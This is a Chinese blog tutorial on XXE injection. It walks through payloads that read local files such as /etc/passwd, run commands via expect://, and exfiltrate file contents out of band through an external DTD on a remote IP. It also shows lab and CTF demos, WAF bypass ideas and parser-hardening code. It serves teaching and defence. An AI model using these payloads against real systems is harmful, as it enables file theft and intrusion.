• XXE-XML外部实体注入-知识点


    XXE 介绍:

    XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等
    当使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体

    基础概念:

    xml基础概念

    XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具

    XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害

    XXE漏洞可以做什么事:

    • 文件读取
    • 内网扫描攻击
    • dos攻击
    • RCE执行

    XML与HTML的主要差异

    XML被设计为传输和存储数据,其焦点是数据的内容
    HTML被设计用来显示数据,其焦点是数据的外观
    HTML旨在显示信息,而XML旨在传输信息

    如何去挖XXE漏洞:

    • 抓包修改数据类型,把json改成xml来传输数据 Content-Type: application/xml
    • 抓包看响应体是否存在xml,accept头是否接受xml
    • 代码审计里面是否使用了LoadXML( )函数
    • 看到url是 .ashx后缀的
    • 响应体是xml

    xml示例:

    <!--文档类型定义-->
    <!DOCTYPE note [	<!--定义此文档时note类型的文档-->
    <!ELEMENT note (to,from,heading,body)>	<!--定义note元素有四个元素-->
    <!ELEMENT to (#PCDATA)>			<!--定义to元素为"#PCDATA"类型-->
    <!ELEMENT from (#PCDATA)>		<!--定义from元素为"#PCDATA"类型-->
    <!ELEMENT head (#PCDATA)>		<!--定义head元素为"#PCDATA"类型-->
    <!ELEMENT body (#PCDATA)>		<!--定义body元素为"#PCDATA"类型-->
    ]]]>
    
    <!--文档元素-->
    <note>
        <to>Dave</to>
        <from>Tom</from>
        <head>Reminder</head>
        <body>You are a good man</body>
    </note>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    DTD实体的攻击方式 :

    DTD 内部声明:

    <!DOCTYPE 根元素 [元素声明]>
    
    • 1

    DTD 外部引用:

    <!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">
    
    • 1

    引用公共DTD:

    <!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
    
    • 1

    外部引用语音和支持的协议

    不同的语言对协议的支持是不一样的,我在网上找的参考图:
    在这里插入图片描述

    XXE攻击常用的语句:

    有回显

    读取文件,比如linux的 /etc/passwd 内容等

    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
    	<!ENTITY xxe SYSTEM "file:///C://xxe.txt">
    ]>
    <x>&xxe;</x>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    <!DOCTYPE foo [<!ELEMENT foo ANY >
    <!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
    <foo>&xxe;</foo>
    
    • 1
    • 2
    • 3

    PHP expect RCE:由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
    		<!ENTITY xxe SYSTEM "expect://id">
    ]>
    <x>&xxe;</x>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    无回显

    无回显的情况需要公网服务器或者内网搭建一个服务,让被攻击者机器去调用攻击者写好的 外部实体dtd
    在被攻击端引入外部实体后 结果在 日志里或者自己写一个脚本储存都可以
    这里是查看日志的

    dtd:
    可以将内部的%号要进行实体编码成%
    这个是php的经过base64加密后显示结果
    根据情况修改ip文件路径

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/xxe.txt">
    <!ENTITY % int "">
    
    • 1
    • 2

    在被攻击端输入:

    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://192.168.56.128/text/xxe/text.dtd">
    %remote;%int;%send;
    ]>
    
    • 1
    • 2
    • 3
    • 4

    用pikachu靶场演示xxe漏洞

    我靶场机器中 c盘下有一个 xxe.txt 文件内容为:XXE(demonstration)
    我用的攻击代码:

    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
    	<!ENTITY xxe SYSTEM "file:///C://xxe.txt">
    ]>
    <x>&xxe;</x>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    操作如下:
    在这里插入图片描述

    CTF-Jarvis-OJ-Web-XXE 演示:

    地址:http://web.jarvisoj.com:9882
    第一步抓包
    在这里插入图片描述
    修改为 Content-Type: application/xml 提交数据 换上xxe攻击语句

    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
    	<!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <x>&xxe;</x>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    ctf 一般都会有一个 cft 文件夹或者 ctf.txt 在或者 flag.txt文件
    在这里插入图片描述

    绕过方法参考文章:

    这里给大佬写文章参考
    https://www.cnblogs.com/20175211lyz/p/11413335.html
    https://xz.aliyun.com/t/4059

    参考文章中大致说了如下绕过方法:

    • data://协议绕过
    • file://协议加文件上传
    • php://filter协议加文件上传
    • 文档中的额外空格
    • 为了绕过WAF,攻击者可能会发送特殊格式的XML文档,以便WAF认为它们无效
    • 外来编码(Exotic encodings)
    • 在一个文档中使用两种类型的编码

    防御XXE漏洞:

    使用开发语言提供的禁用外部实体的方法:

    php:

    libxml_disable_entity_loader(true);
    
    • 1

    JAVA:

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    
    .setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
    
    .setFeature("http://xml.org/sax/features/external-general-entities",false)
    
    .setFeature("http://xml.org/sax/features/external-parameter-entities",false);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    Python:

    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    
    • 1
    • 2

    其它语言参考方法:https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

    手动黑名单过滤:

    过滤:PUBLIC

  • 相关阅读:
    通过python 的selenium 操作shadow前端页面实现自动点击上传图片
    Json Schema介绍 和 .net 下的实践 - 基于Lateapexearlyspeed.Json.Schema - 基础1 - type关键字和string类型
    银河麒麟高级服务器操作系统V10下载安装及安装docker
    开发环境安装---Visual Studio Code
    uniapp 小程序 父组件调用子组件方法
    2020CCPC 威海站 个人题解
    prometheus 监控实战篇
    milvus数据库-查询
    Java项目源码SSM宿舍管理系统|寝室
    【数据结构与算法】三种简单排序算法,包括冒泡排序、选择排序、插入排序算法
  • 原文地址:https://blog.csdn.net/weixin_44257023/article/details/126222241